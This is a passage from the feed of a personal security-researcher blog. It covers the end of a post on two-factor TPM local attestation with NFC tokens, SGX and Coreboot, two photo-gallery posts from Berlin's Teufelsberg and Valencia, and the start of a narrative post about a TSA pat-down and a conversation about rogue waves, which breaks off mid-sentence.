class="caps">NFC</span>&nbsp;ideas.</p> <p>As an example use case, this would allow journalists² greater safety when crossing borders. Your laptop got taken away by the <span class="caps">TLA</span> at a border? Not such a problem; it simply doesn&#8217;t boot without you present. The <span class="caps">TLA</span> took your laptop into the back room to try to install some malware on it? No worries, because your laptop will refuse to boot the next time you try to do so (or it could signal in some other way that the system was compromised… however, refusing to decrypt the user&#8217;s harddrive is probably a bare minimum safety requirement, and refusing to boot at all is probably the&nbsp;safest).</p> <p>However, all of this places a great deal of trust in both the <span class="caps">TPM</span> device and its&nbsp;manufacturer…</p> <p>Despite <a href="proxy.php?url=https://twitter.com/rootkovska">Joanna</a> Rutkowska&#8217;s <a href="proxy.php?url=http://theinvisiblethings.blogspot.ru/2013/08/thoughts-on-intels-upcoming-software.html">concerns over untrusted user input/output</a>, it would be interesting to see a system, built upon the above local attestation method, which uses an <a href="proxy.php?url=https://software.intel.com/en-us/blogs/2013/09/26/protecting-application-secrets-with-intel-sgx">Intel <span class="caps">SGX</span> enclave</a> (see the <a href="proxy.php?url=https://software.intel.com/sites/default/files/managed/07/b7/319433-023.pdf#page=36">Intel Instruction Set Extensions Programming Reference</a> for architectural details) to execute code whose integrity has been previously verified through two-factor authenticated <span class="caps">TPM</span> local attestation. This doesn&#8217;t require user I/O, and it doesn&#8217;t require anything to be displayed to the user. What it would provide, however, is a way for the code whose integrity is verified by the <span class="caps">TPM</span> to remain safely isolated&nbsp;from:</p> <ul> <li>the <span class="caps">BIOS</span>, or tampering&nbsp;thereof,</li> <li>System Management Mode (<span class="caps">SMM</span>),&nbsp;and,</li> <li>(possibly) Intel Active Management Technology (<span class="caps">AMT</span>) — modulo Intel&#8217;s <span class="caps">SGX</span> implementation (and how much you trust said implementation to protect you from their <span class="caps">AMT</span>&nbsp;backdoor).</li> </ul> <p>This protects against tampering of the <span class="caps">BIOS</span> itself, which, otherwise, could possibly subvert the initialisation of the <span class="caps">TPM</span> hardware and cause the integrity verification checks to falsely pass. Without <span class="caps">SGX</span>, <span class="caps">SMM</span> (ring &#8220;-2&#8221;) would have the capability to emulate and/or forward calls to and from the <span class="caps">TPM</span> device, and as such any <span class="caps">SMM</span>-based attack would completely subvert the local&nbsp;attestation.</p> <p>Additionally, in my and Matthew&#8217;s <span class="caps">NFC</span>-<span class="caps">TPM</span>-based local attestation method, the cryptographic code for verification would need to be partially executed on the &#8220;smart&#8221; device. In <a href="proxy.php?url=https://media.ccc.de/v/32c3-7343-beyond_anti_evil_maid">Matthew&#8217;s 32c3 talk</a>, the laptop uses a pre-shared key, stored in the <span class="caps">TPM</span>, to generate a <a href="proxy.php?url=https://tools.ietf.org/html/rfc6238">Time-based One-Time Password (<span class="caps">TOTP</span>)</a>, which is very simple scheme used for two-factor authentication, and which essentially&nbsp;does:</p> <div class="highlight"><pre><span></span><code><span class="err">TOTP ← HMAC(SharedKey||TimeInterval)</span> </code></pre></div> <p></p> <p>The output then is presented as a QRcode on the screen, which the user scans into the external device (a smart phone, in this case) which also runs <span class="caps">TOTP</span> to check that the <span class="caps">TPM</span> verification was&nbsp;successful.</p> <p>Smart phones being security nightmares, it&#8217;s nice in my opinion to avoid them altogether. (And certainly to never rely on them in any trusted computing scheme!) Alternatively, one could also imagine some smart² jewelry³ such as a necklace or bracelet (cufflinks could also be pretty badass) with an embedded <span class="caps">NFC</span>-capable smartcard. Unfortunately, smartcard means you&#8217;re likely running in a <span class="caps">JVM</span>… which — my livid hatred for the Java programming language aside — hasn&#8217;t exactly had the best track record in terms of security. This also unfortunately <a href="proxy.php?url=http://trousers.sourceforge.net/pkcs11.html">probably restricts</a> us to using only the set of cryptographic primitives which are <span class="caps">PKCS</span>#11 compatible, in order to facilitate communication between the smartcard and the <span class="caps">TSS</span>. One interesting area for further research would be a way to remove this requirement, i.e. use something other than a smartcard, and/or devise a scheme for moving execution (on either side) into an <span class="caps">SGX</span> enclave as&nbsp;well.</p> <p>Moving forward towards more secure computing platforms, the most realistic candidate I can currently imagine would be comprised by a <a href="proxy.php?url=|filename|/../replacing-a-thinkpad-x60-bootflash-chip.html">hardware-modified Thinkpad</a> which uses the above local attestation scheme to verify the integrity of <a href="proxy.php?url=https://www.qubes-os.org/doc/security-critical-code/">QubesOS&#8217;s security-critical code</a> and the integrity of a <a href="proxy.php?url=https://www.coreboot.org/">Coreboot</a> (the latter of which could also be verified from within QubesOS, e.g. via <a href="proxy.php?url=https://www.qubes-os.org/doc/anti-evil-maid/">Joanna&#8217;s Anti-Evil Maid system</a>, however only <em>post boot</em> and unsure if this would be capatible with using some the extra protections against malicious <span class="caps">SMM</span> code, like verifying the RAMstage upon wake from S3, which Coreboot can provide). Providing these integrity checks pass, and the user possesses a valid hardware-authentication token, Coreboot can then be executed (without needed to trust <span class="caps">SMM</span>) and further initialise Qube&#8217;s Xen hypervisor, which then executes dom0 and so&nbsp;on.</p> <hr> <p><p style="font-size:80%;"> ¹ Matthew&#8217;s rather grotesque aside was, <em>&#8220;Well… you want to limit the number of parts they have to cut off of you…&#8221;</em><br/> ² Well… <em>anyone</em> actually. But everyone likes to pretend journos are special and the rest of us are second-class citizens, right? <br/> ³ Yes, I hate that word too. Shut up and mark your bingo card already. <br/> ⁴ I&#8217;d just like to take this opportunity to coin the term <em>SmartSchmuck</em>. </p></p>Teufelsberg2015-10-31T16:29:00+00:002015-11-06T02:35:07+00:00isis agora lovecrufttag:blog.patternsinthevoid.net,2015-10-31:/teufelsberg.html<p><a href="proxy.php?url=http://dasalte.ccc.de/teufelsberg/">Teufelsberg</a> — <em>Devil&#8217;s Mountain</em> in English — is a derelict <span class="caps">NSA</span> listening post from the Cold War era on the outskirts of Berlin. Abandoned in the 1990s, the geodesic radio towers once abused for surveillance, now serve a much better use for street artists and <a href="proxy.php?url=https://de.wikipedia.org/wiki/Wir_sind_die_Nacht">German vampire films</a>.</p> <p></p><span style="align:left; float:left; width:100%;"> <table style="float:left; clear:left; width:100%; margin: 1px;"> <tbody> <tr> <td style="text-align:center; padding: 1px;"> <a href="proxy.php?url=./static/images/2015/09/berlin-teufelsberg-processed-small/2015-09-27-P9270046_small.png"> <img alt="" style="width: 700px;" src="proxy.php?url=./static/images/2015/09/berlin-teufelsberg-processed-small/2015-09-27-P9270046_small.png" /> </a> </td> </tr> <tr> <td style="text-align:center; padding: 1px;"> <a href="proxy.php?url=./static/images/2015/09/berlin-teufelsberg-processed-small/2015-09-27-P9270047_small.png"> <img alt="" style="width: 700px;" src="proxy.php?url=./static/images/2015/09/berlin-teufelsberg-processed-small/2015-09-27-P9270047_small.png" /> </a> </td> </tr> <tr> <td style="text-align:center; padding: 1px;"> <a href="proxy.php?url=./static/images/2015/09/berlin-teufelsberg-processed-small/2015-09-27-P9270057_small.png"> <img alt="" style="width: 700px;" src="proxy.php?url=./static/images/2015/09/berlin-teufelsberg-processed-small/2015-09-27-P9270057_small.png" /> </a> </td> </tr> <tr> <td style="text-align:center; padding: 1px;"> <a href="proxy.php?url=./static/images/2015/09/berlin-teufelsberg-processed-small/2015-09-27-P9270059_small.png"> <img alt="" style="width: 700px;" src="proxy.php?url=./static/images/2015/09/berlin-teufelsberg-processed-small/2015-09-27-P9270059_small.png" /> </a> </td> </tr> <tr> <td style="text-align:center; padding: 1px;"> <a href="proxy.php?url=./static/images/2015/09/berlin-teufelsberg-processed-small/2015-09-27-P9270070_small.png"> <img alt="" style="width: 700px;" src="proxy.php?url=./static/images/2015/09/berlin-teufelsberg-processed-small/2015-09-27-P9270070_small.png" /> </a> </td> </tr> <tr> <td style="text-align:center; padding: 1px;"> <a href="proxy.php?url=./static/images/2015/09/berlin-teufelsberg-processed-small/2015-09-27-P9270071_small.png"> <img alt="" style="width: 700px;" src="proxy.php?url=./static/images/2015/09/berlin-teufelsberg-processed-small/2015-09-27-P9270071_small.png" /> </a> </td> </tr> <tr> <td style="text-align:center; padding: 1px;"> <a href="proxy.php?url=./static/images/2015/09/berlin-teufelsberg-processed-small/2015-09-27-P9270077_small.png"> <img alt="" style="width: 700px;" src="proxy.php?url=./static/images/2015/09/berlin-teufelsberg-processed-small/2015-09-27-P9270077_small.png" /> </a> </td> </tr> <tr> <td style="text-align:center; padding: 1px;"> <a href="proxy.php?url=./static/images/2015/09/berlin-teufelsberg-processed-small/2015-09-27-P9270081_small.png"> <img alt="" style="width: 700px;" src="proxy.php?url=./static/images/2015/09/berlin-teufelsberg-processed-small/2015-09-27-P9270081_small.png" /> </a> </td> </tr> <tr> <td style="text-align:center; padding: 1px;"> <a href="proxy.php?url=./static/images/2015/09/berlin-teufelsberg-processed-small/2015-09-27-P9270083_small.png"> <img alt="" style="width: 700px;" src="proxy.php?url=./static/images/2015/09/berlin-teufelsberg-processed-small/2015-09-27-P9270083_small.png" /> </a> </td> </tr> <tr> <td style="text-align:center; padding: 1px;"> <a href="proxy.php?url=./static/images/2015/09/berlin-teufelsberg-processed-small/2015-09-27-P9270085_small.png"> <img alt="" style="width: 700px;" src="proxy.php?url=./static/images/2015/09/berlin-teufelsberg-processed-small/2015-09-27-P9270085_small.png" /> </a> </td> </tr> <tr> <td style="text-align:center; padding: 1px;"> <a href="proxy.php?url=./static/images/2015/09/berlin-teufelsberg-processed-small/2015-09-27-P9270109_small.png"> <img alt="" style="width: 700px;" src="proxy.php?url=./static/images/2015/09/berlin-teufelsberg-processed-small/2015-09-27-P9270109_small.png" /> </a> </td> </tr> <tr> <td style="text-align:center; padding: 1px;"> <a href="proxy.php?url=./static/images/2015/09/berlin-teufelsberg-processed-small/2015-09-27-P9270089-P9270108_blended_fused_small.png"> <img alt="" style="width: 700px;" src="proxy.php?url=./static/images/2015/09/berlin-teufelsberg-processed-small/2015-09-27-P9270089-P9270108_blended_fused_small.png" /> </a> </td> </tr> <tr> <td style="text-align:center; padding: 1px;"> <a href="proxy.php?url=./static/images/2015/09/berlin-teufelsberg-processed-small/2015-09-27-P9270111_small.png"> <img alt="" style="width: 700px;" src="proxy.php?url=./static/images/2015/09/berlin-teufelsberg-processed-small/2015-09-27-P9270111_small.png" /> </a> </td> </tr> <tr> <td style="text-align:center; padding: 1px;"> <a href="proxy.php?url=./static/images/2015/09/berlin-teufelsberg-processed-small/2015-09-27-P9270117_small.png"> <img alt="" style="width: 700px;" src="proxy.php?url=./static/images/2015/09/berlin-teufelsberg-processed-small/2015-09-27-P9270117_small.png" /> </a> </td> </tr> <tr> <td style="text-align:center; padding: 1px;"> <a href="proxy.php?url=./static/images/2015/09/berlin-teufelsberg-processed-small/2015-09-27-P9270118_small.png"> <img alt="" style="width: 700px;" src="proxy.php?url=./static/images/2015/09/berlin-teufelsberg-processed-small/2015-09-27-P9270118_small.png" /> </a> </td> </tr> <tr> <td style="text-align:center; padding: 1px;"> <a href="proxy.php?url=./static/images/2015/09/berlin-teufelsberg-processed-small/2015-09-27-P9270127_small.png"> <img alt="" style="width: 700px;" src="proxy.php?url=./static/images/2015/09/berlin-teufelsberg-processed-small/2015-09-27-P9270127_small.png" /> </a> </td> </tr> <tr> <td style="text-align:center; padding: 1px;"> <a href="proxy.php?url=./static/images/2015/09/berlin-teufelsberg-processed-small/2015-09-27-P9270129_small.png"> <img alt="" style="width: 700px;" src="proxy.php?url=./static/images/2015/09/berlin-teufelsberg-processed-small/2015-09-27-P9270129_small.png" /> </a> </td> </tr> <tr> <td style="text-align:center; padding: 1px;"> <a href="proxy.php?url=./static/images/2015/09/berlin-teufelsberg-processed-small/2015-09-27-P9270130_small.png"> <img alt="" style="width: 700px;" src="proxy.php?url=./static/images/2015/09/berlin-teufelsberg-processed-small/2015-09-27-P9270130_small.png" /> </a> </td> </tr> <tr> <td style="text-align:center; padding: 1px;"> <a href="proxy.php?url=./static/images/2015/09/berlin-teufelsberg-processed-small/2015-09-27-P9270138_small.png"> <img alt="" style="width: 700px;" src="proxy.php?url=./static/images/2015/09/berlin-teufelsberg-processed-small/2015-09-27-P9270138_small.png" /> </a> </td> </tr> <tr> <td style="text-align:center; padding: 1px;"> <a href="proxy.php?url=./static/images/2015/09/berlin-teufelsberg-processed-small/2015-09-27-P9270141_small.png"> <img alt="" style="width: 700px;" src="proxy.php?url=./static/images/2015/09/berlin-teufelsberg-processed-small/2015-09-27-P9270141_small.png" /> </a> </td> </tr> <tr> <td style="text-align:center; padding: 1px;"> <a href="proxy.php?url=./static/images/2015/09/berlin-teufelsberg-processed-small/2015-09-27-P9270149_small.png"> <img alt="" style="width: 700px;" src="proxy.php?url=./static/images/2015/09/berlin-teufelsberg-processed-small/2015-09-27-P9270149_small.png" /> </a> </td> </tr> <tr> <td style="text-align:center; padding: 1px;"> <a href="proxy.php?url=./static/images/2015/09/berlin-teufelsberg-processed-small/2015-09-27-P9270151_small.png"> <img alt="" style="width: 700px;" src="proxy.php?url=./static/images/2015/09/berlin-teufelsberg-processed-small/2015-09-27-P9270151_small.png" /> </a> </td> </tr> <tr> <td style="text-align:center; padding: 1px;"> <a href="proxy.php?url=./static/images/2015/09/berlin-teufelsberg-processed-small/2015-09-27-P9270153_small.png"> <img alt="" style="width: 700px;" src="proxy.php?url=./static/images/2015/09/berlin-teufelsberg-processed-small/2015-09-27-P9270153_small.png" /> </a> </td> </tr> <tr> <td style="text-align:center; padding: 1px;"> <a href="proxy.php?url=./static/images/2015/09/berlin-teufelsberg-processed-small/2015-09-27-P9270155_small.png"> <img alt="" style="width: 700px;" src="proxy.php?url=./static/images/2015/09/berlin-teufelsberg-processed-small/2015-09-27-P9270155_small.png" /> </a> </td> </tr> <tr> <td style="text-align:center; padding: 1px;"> <a href="proxy.php?url=./static/images/2015/09/berlin-teufelsberg-processed-small/2015-09-27-P9270156_small.png"> <img alt="" style="width: 700px;" src="proxy.php?url=./static/images/2015/09/berlin-teufelsberg-processed-small/2015-09-27-P9270156_small.png" /> </a> </td> </tr> <tr> <td style="text-align:center; padding: 1px;"> <a href="proxy.php?url=./static/images/2015/09/berlin-teufelsberg-processed-small/2015-09-27-P9270163_small.png"> <img alt="" style="width: 700px;" src="proxy.php?url=./static/images/2015/09/berlin-teufelsberg-processed-small/2015-09-27-P9270163_small.png" /> </a> </td> </tr> </tbody> </table> </span> </p><br /><p></p>Valencia, Spain2015-03-19T15:29:00+00:002015-11-03T15:45:26+00:00isis agora lovecrufttag:blog.patternsinthevoid.net,2015-03-19:/valencia-spain.html <p style="color: #FFFFFF"> This is some text to get the table of images to appear only after the jump. Hackity hack. This is some text to get the table of images to appear only after the jump. Hackity hack. This is some text to get the table of images to appear only after the jump. Hackity hack. This is some text to get the table of images to appear only after the jump. Hackity hack. This is some text to get the table of images to appear only after the jump. Hackity&nbsp;hack. </p> <p></p><span style="align:left; float:left; width:100%;"> <table style="float:left; clear:left; width:85%; padding:0.2em;"> <tbody> <tr> <td style="text-align:center; padding:0.2em;"> <a href="proxy.php?url=./static/images/2015/03/valencia/2015-03-19-P3030014.png"> <img alt="" width="700px" src="proxy.php?url=./static/images/2015/03/valencia/2015-03-19-P3030014.png" /> </a> </td> </tr> <tr> <td style="text-align:center; padding:0.2em;"> <a href="proxy.php?url=./static/images/2015/03/valencia/2015-03-19-P3030031.png"> <img alt="" width="700px" src="proxy.php?url=./static/images/2015/03/valencia/2015-03-19-P3030031.png" /> </a> </td> </tr> <tr> <td style="text-align:center; padding:0.2em;"> <a href="proxy.php?url=./static/images/2015/03/valencia/2015-03-19-P3030025.png"> <img alt="If H.R. Giger and Steve Jobs had a baby…" width="700px" src="proxy.php?url=./static/images/2015/03/valencia/2015-03-19-P3030025.png" /> </a> </td> </tr> <tr> <td style="text-align:center; padding:0.2em;"> <a href="proxy.php?url=./static/images/2015/03/valencia/2015-03-19-P3030007.png"> <img alt="When all your friends wear mirrored shades, anonymity is a bitch." width="700px" src="proxy.php?url=./static/images/2015/03/valencia/2015-03-19-P3030007.png" /> </a> </td> </tr> <tr> <td style="text-align:center; padding:0.2em;"> <a href="proxy.php?url=./static/images/2015/03/valencia/2015-03-19-P3030026.png"> <img alt="" width="700px" src="proxy.php?url=./static/images/2015/03/valencia/2015-03-19-P3030026.png" /> </a> </td> </tr> <tr> <td style="text-align:center; padding:0.2em;"> <a href="proxy.php?url=./static/images/2015/03/valencia/2015-03-19-P3030058.png"> <img alt="" width="700px" src="proxy.php?url=./static/images/2015/03/valencia/2015-03-19-P3030058.png" /> </a> </td> </tr> <tr> <td style="text-align:center; padding:0.2em;"> <a href="proxy.php?url=./static/images/2015/03/valencia/2015-03-19-P3050157.png"> <img alt="" width="700px" src="proxy.php?url=./static/images/2015/03/valencia/2015-03-19-P3050157.png" /> </a> </td> </tr> <tr> <td style="text-align:center; padding:0.2em;"> <a href="proxy.php?url=./static/images/2015/03/valencia/2015-03-19-P3050164.png"> <img alt="" width="700px" src="proxy.php?url=./static/images/2015/03/valencia/2015-03-19-P3050164.png" /> </a> </td> </tr> <tr> <td style="text-align:center; padding:0.2em;"> <a href="proxy.php?url=./static/images/2015/03/valencia/2015-03-19-P3050167.png"> <img alt="" width="700px" src="proxy.php?url=./static/images/2015/03/valencia/2015-03-19-P3050167.png" /> </a> </td> </tr> </tbody> </table> </span> </p><br /></p>Rogue Waves2014-09-16T06:34:00+00:002014-09-20T22:03:12+00:00isis agora lovecrufttag:blog.patternsinthevoid.net,2014-09-16:/rogue-waves.html<p>The <span class="caps">TSA</span> agent had just finished running their fingers through my hair, and begun to pat down my shoulders and outstretched&nbsp;arms.</p> <blockquote> <p><span class="dquo">&#8220;</span>So&#8230; do you live in Washington D.C.?&#8221; they&nbsp;asked.</p> </blockquote> <p>I shook my head, no. They asked what I was doing in the capitol. I responded, in my politest, most innocent, most mousy-little-girl&nbsp;voice:</p> <blockquote> <p><span class="dquo">&#8220;</span>I&#8217;m just going to talk to some of our nation&#8217;s senators about my&nbsp;work.&#8221;</p> </blockquote> <p>The <span class="caps">TSA</span> agent jumped back a&nbsp;bit.</p> <blockquote> <p><span class="dquo">&#8220;</span>Oh? What do you&nbsp;do?&#8221;</p> <p><span class="dquo">&#8220;</span>I&#8217;m a programmer and computer security&nbsp;researcher.&#8221;</p> <p><span class="dquo">&#8220;</span>Oh! Are you like really smart? I saw things about this on <span class="caps">TV</span>. Do you like break code and&nbsp;stuff?&#8221;</p> <p><span class="dquo">&#8220;</span>Perhaps, sometimes. But, you know&#8230; I can&#8217;t really talk about&nbsp;it.&#8221;</p> </blockquote> <p>I forced my face into what I hoped was a kind and knowing&nbsp;half-smile.</p> <p>They seemed utterly&nbsp;shocked.</p> <blockquote> <p><span class="dquo">&#8220;</span>Well then, good luck with your talks, miss, and you&#8217;re free to&nbsp;go.&#8221;</p> </blockquote> <p>they said, forgetting to pat down the remainder of me, swab the baby blue latex gloves, and put the swab into the machine that purportedly checks for chemical compounds used in&nbsp;explosives.</p> <p>I coolly walked away, holding my nose up in the air, as if I believed I had every right in the world to not be humiliatingly groped, holding all my snickering giddiness inside until I got around the corner of a head-high dividing wall. Then I shook my head, shocked at myself and feeling somewhat bad and for the multiple lies² that had just fallen out of my mouth before I could even think about them, and I laughed out loud, wondering how long it would take for that person to realise they still hadn&#8217;t checked their&nbsp;gloves.</p> <p style="text-align: center; font-weight: bold;">&middot &middot&nbsp;&middot</p> <p>That evening, arriving at the hotel in Washington <span class="caps">D.C.</span> for the <a href="proxy.php?url=https://www.opentechfund.org/">Open Tech Fund</a> summit meeting, I spotted <a href="proxy.php?url=https://thoughtcrime.org/">Moxie</a> in the lobby through the glass doors; I ran inside, dropping my backpack, and flung myself upwards at him to wrap my arms around his shoulders. Moxie had been talking with two others: Trevor from the <a href="proxy.php?url=https://pressfreedomfoundation.org/">Freedom of the Press Foundation</a>, and Zooko of <a href="proxy.php?url=https://tahoe-lafs.org/trac/tahoe-lafs">Tahoe-<span class="caps">LAFS</span></a>. I awkwardly waved a friendly hello at Trevor, and since I&#8217;d only &#8220;met&#8221; Zooko over videochat before, I awkwardly hugged them for the first time. Inwardly, I mentally kicked myself again for my shyness around people I should be able to call comrades and cohorts, yet haven&#8217;t interacted with as much <span class="caps">AFK</span>.</p> <p>We sat down in the hotel lobby, exhausted and idly chatting. Moxie and I, as usual, got to one of our lifelong favourite&nbsp;topics.</p> <blockquote> <p><span class="dquo">&#8220;</span>So I was down in Malibu, and I ran into Laird Hamilton&#8230; you know that guy?&#8221; Moxie&nbsp;asked.</p> </blockquote> <p>Yep. Dude surfs <em>crazy huge</em> waves. I&#8217;d run into him before. Moxie&nbsp;continued:</p> <blockquote> <p><span class="dquo">&#8220;</span>I just finished this book about rogue waves &#8212; they&#8217;re these monster waves, hundreds of feet tall, pretty much unpredictable. There&#8217;s whole conferences that people go to &#8212; people like us &#8212; but instead of talking about crypto …</p></blockquote><p>The <span class="caps">TSA</span> agent had just finished running their fingers through my hair, and begun to pat down my shoulders and outstretched&nbsp;arms.</p> <blockquote> <p><span class="dquo">&#8220;</span>So&#8230; do you live in Washington D.C.?&#8221; they&nbsp;asked.</p> </blockquote> <p>I shook my head, no. They asked what I was doing in the capitol. I responded, in my politest, most innocent, most mousy-little-girl&nbsp;voice:</p> <blockquote> <p><span class="dquo">&#8220;</span>I&#8217;m just going to talk to some of our nation&#8217;s senators about my&nbsp;work.&#8221;</p> </blockquote> <p>The <span class="caps">TSA</span> agent jumped back a&nbsp;bit.</p> <blockquote> <p><span class="dquo">&#8220;</span>Oh? What do you&nbsp;do?&#8221;</p> <p><span class="dquo">&#8220;</span>I&#8217;m a programmer and computer security&nbsp;researcher.&#8221;</p> <p><span class="dquo">&#8220;</span>Oh! Are you like really smart? I saw things about this on <span class="caps">TV</span>. Do you like break code and&nbsp;stuff?&#8221;</p> <p><span class="dquo">&#8220;</span>Perhaps, sometimes. But, you know&#8230; I can&#8217;t really talk about&nbsp;it.&#8221;</p> </blockquote> <p>I forced my face into what I hoped was a kind and knowing&nbsp;half-smile.</p> <p>They seemed utterly&nbsp;shocked.</p> <blockquote> <p><span class="dquo">&#8220;</span>Well then, good luck with your talks, miss, and you&#8217;re free to&nbsp;go.&#8221;</p> </blockquote> <p>they said, forgetting to pat down the remainder of me, swab the baby blue latex gloves, and put the swab into the machine that purportedly checks for chemical compounds used in&nbsp;explosives.</p> <p>I coolly walked away, holding my nose up in the air, as if I believed I had every right in the world to not be humiliatingly groped, holding all my snickering giddiness inside until I got around the corner of a head-high dividing wall. Then I shook my head, shocked at myself and feeling somewhat bad and for the multiple lies² that had just fallen out of my mouth before I could even think about them, and I laughed out loud, wondering how long it would take for that person to realise they still hadn&#8217;t checked their&nbsp;gloves.</p> <p style="text-align: center; font-weight: bold;">&middot &middot&nbsp;&middot</p> <p>That evening, arriving at the hotel in Washington <span class="caps">D.C.</span> for the <a href="proxy.php?url=https://www.opentechfund.org/">Open Tech Fund</a> summit meeting, I spotted <a href="proxy.php?url=https://thoughtcrime.org/">Moxie</a> in the lobby through the glass doors; I ran inside, dropping my backpack, and flung myself upwards at him to wrap my arms around his shoulders. Moxie had been talking with two others: Trevor from the <a href="proxy.php?url=https://pressfreedomfoundation.org/">Freedom of the Press Foundation</a>, and Zooko of <a href="proxy.php?url=https://tahoe-lafs.org/trac/tahoe-lafs">Tahoe-<span class="caps">LAFS</span></a>. I awkwardly waved a friendly hello at Trevor, and since I&#8217;d only &#8220;met&#8221; Zooko over videochat before, I awkwardly hugged them for the first time. Inwardly, I mentally kicked myself again for my shyness around people I should be able to call comrades and cohorts, yet haven&#8217;t interacted with as much <span class="caps">AFK</span>.</p> <p>We sat down in the hotel lobby, exhausted and idly chatting. Moxie and I, as usual, got to one of our lifelong favourite&nbsp;topics.</p> <blockquote> <p><span class="dquo">&#8220;</span>So I was down in Malibu, and I ran into Laird Hamilton&#8230; you know that guy?&#8221; Moxie&nbsp;asked.</p> </blockquote> <p>Yep. Dude surfs <em>crazy huge</em> waves. I&#8217;d run into him before. Moxie&nbsp;continued:</p> <blockquote> <p><span class="dquo">&#8220;</span>I just finished this book about rogue waves &#8212; they&#8217;re these monster waves, hundreds of feet tall, pretty much unpredictable. There&#8217;s whole conferences that people go to &#8212; people like us &#8212; but instead of talking about crypto, all they do is talk about rogue&nbsp;waves.&#8221;</p> </blockquote> <p>Moxie&#8217;s eyes lit up as he&nbsp;said,</p> <blockquote> <p><span class="dquo">&#8220;</span>Some people even survive these things&#8230; but the folks who survive, they&#8217;re always the lunatics who saw the wall of water coming, and made a mad dash straight for&nbsp;it.&#8221;</p> </blockquote> <p>I think the rest of us could sense one of Moxie&#8217;s sailor stories coming, so we smiled, nodded, and let him monologue. If someone were to follow Moxie around and collect his sometimes-rather-dubious-but-you&#8217;re-willing-to-suspend-all-doubt-for-the-sheer-entertainment-value¹ sailor stories, they&#8217;d have a <span class="caps">NYT</span> Best Seller in no&nbsp;time.</p> <blockquote> <p><span class="dquo">&#8220;</span>So this one wave, something like sixteen hundred feet high, hit the coast of Alaska in the 1960s&#8230; and there are still survivors alive today to tell the tale. Can you imagine? Sitting there in the harbour, on your little fishing boat, and you see a sixteen hundred foot wall of water coming towards you, and you&#8217;ve still got the wherewithal to jet the engines and head directly into&nbsp;it?&#8221;</p> </blockquote> <p>Moment of silence in reverent&nbsp;awe.</p> <blockquote> <p><span class="dquo">&#8220;</span>This Laird Hamilton guy and his buddies, they get wind that sometimes, in very special storms, this break called &#8216;Jaws&#8217; on the northside of Maui would get up to one hundred&nbsp;feet.</p> <p><span class="dquo">&#8220;</span>Sure enough, one day, a storm hits, and Laird calls his buddy up: &#8216;Dude, it&#8217;s happening, we gotta get out there!&#8217; and so they grab a Jet Ski and a surfboard, and sure enough: Jaws is breaking with hundred foot waves. His buddy tows him in on the Jet Ski, and he begins the drop. At some point, he realises: he&#8217;s not falling; he&#8217;s standing on a board on a vertical surface of water, trying to drop in, but the wave is building so fast that while trying to drop he&#8217;s actually rising. So Laird panics, and bails by diving out the back of the wave. When he surfaces, there&#8217;s another monster wave coming right for him. His friend Jet Skis in to grab him, but they wipe out from the second wave, and Laird&#8217;s buddy&#8217;s leg is badly gashed open by the razor sharp fins on the bottom of Laird&#8217;s surfboard. He&#8217;s already passed out, bleeding out. There&#8217;s often sharks in waters in this region. Laird rips apart his wetsuit, making a tourniquet to try to stop the&nbsp;bleeding.</p> <p><span class="dquo">&#8220;</span>As he jets towards the shore, holding onto his buddy, he takes a look behind him, and there&#8217;s a roaring, fifty-foot wall of pure whitewash from the broken wave. They rush in to the shore, Laird packs his friend into an ambulance, and more friends show up. They&#8217;re not even sure if the friend who had been driving the Jet Ski was going to make it. And you know what they&nbsp;do?&#8221;</p> </blockquote> <p>Moxie&#8217;s eyes were fervently glowing like a right proper&nbsp;madman.</p> <blockquote> <p><span class="dquo">&#8220;</span>They go back out&nbsp;there.&#8221;</p> </blockquote> <p>I smiled my appreciation at Moxie&#8217;s energetic storytelling, and sat quietly, wondering if the similarities between the cypherpunks and these people obsessed with giant waves extended beyond just the&nbsp;conferences.</p> <p style="text-align: center; font-weight: bold;">&middot &middot&nbsp;&middot</p> <p>I mentioned that I lied² multiple times to that <span class="caps">TSA</span>&nbsp;agent.</p> <p>I don&#8217;t³ work for any government agency. As hilarious as I think it is that the <span class="caps">TSA</span> agent actually believed I worked for (presumably) the <span class="caps">NSA</span>, I haven&#8217;t. Nor have I worked for any other agency of the <span class="caps">U.S.</span> government, nor any other&nbsp;government.⁴</p> <p>And I also lied about visiting Congress. I&#8217;ve already written about <a href="proxy.php?url=../congress-not-the-chaos-computer-club-kind.html">my previous experience visiting senators and representatives on Capitol Hill</a>. The head of <span class="caps">OTF</span> kindly poked me to attend their &#8220;Hill Day&#8221; again &#8212; the yearly field trip which led to those previously mentioned adventures, where a bunch of crazy internet-freedom hackers go to Capitol Hill to explain their work to <span class="caps">U.S.</span> senators, representatives, and their aides &#8212; but seeing as there was limited space for the Hill Day, I opted out of diving through that wave for the second time in order to give someone else⁵ a go at&nbsp;it.</p> <p>What I didn&#8217;t realise was that many people had read my previous post and expected Capitol Hill to be full of trolls. While this is mostly true, and while I really, <em>really</em> want to be able to say nothing more than that Congress is full of a bunch of asshats who accidentally open their <code>passwords.txt</code> file on the monitor in front of me⁶, instead I&#8217;d like to tell the story of a positive interaction I had on that day two years&nbsp;ago&#8230;</p> <p style="text-align: center; font-weight: bold;">&middot &middot&nbsp;&middot</p> <p>It was a full day, playing the part of a door-to-door salesman selling censorship-circumvention and privacy software, like some futurist&#8217;s worst nightmare &#8212; straight out of a Gibson or Doctorow novel &#8212; trudging through metal detectors and underground tunnels beneath the Rayburn House and other Congressional office buildings, before I arrived in that Senator&#8217;s office. I&#8217;d been busy spouting my well-rehearsed introductions to anyone important-looking who would hold still for thirty seconds. I&#8217;d entertained myself mostly by snickering at the sheer abundance of ridiculous articles of clothing which I was encountering &#8212; a photograph of some of these things could have made a tweet all in itself, perhaps complemented, drily, wittily, writhingly, by the simplicity of a <code>#wtf</code> or a <code>#onlyindc</code> hashtag: American flag high heels, pink and baby blue powersuits, and chintzy red-white-and-blue 1970s-styled silk&nbsp;neckties.</p> <p>And, of course, the entertainment value provided by pretending to be legitimately concerned over the rumoured possibility of Reptilians in the underground tunnels of the nation&#8217;s capitol should not be left unstated. I kept my eyes very widely and very noticeably peeled, such that any casual observer or surveillance camera which might happen to spy on me in those tunnels couldn&#8217;t help but <em>instantly</em> understand that I was comprised of nothing but the most utmost awareness of my surrounding environment: a single glimpse of a scaly green tail whisking around a corner, a set of pupils converting to the yellowy narrowed slits of a reptile in between blinks, the slightest hiss from an underground chamber whose door was mistakenly left unlatched &#8212; I would make certain that any secrets that were down here, <em>they&#8217;d know</em> that <em>I knew</em> about&nbsp;them.</p> <p>The Senator&#8217;s office reeked of Folgers coffee, clean carpets, and paperwork. We walked in, greeted by a tall, Texan man in his mid-twenties. He was dressed in faded Levi&#8217;s and a plaid flannel shirt. His 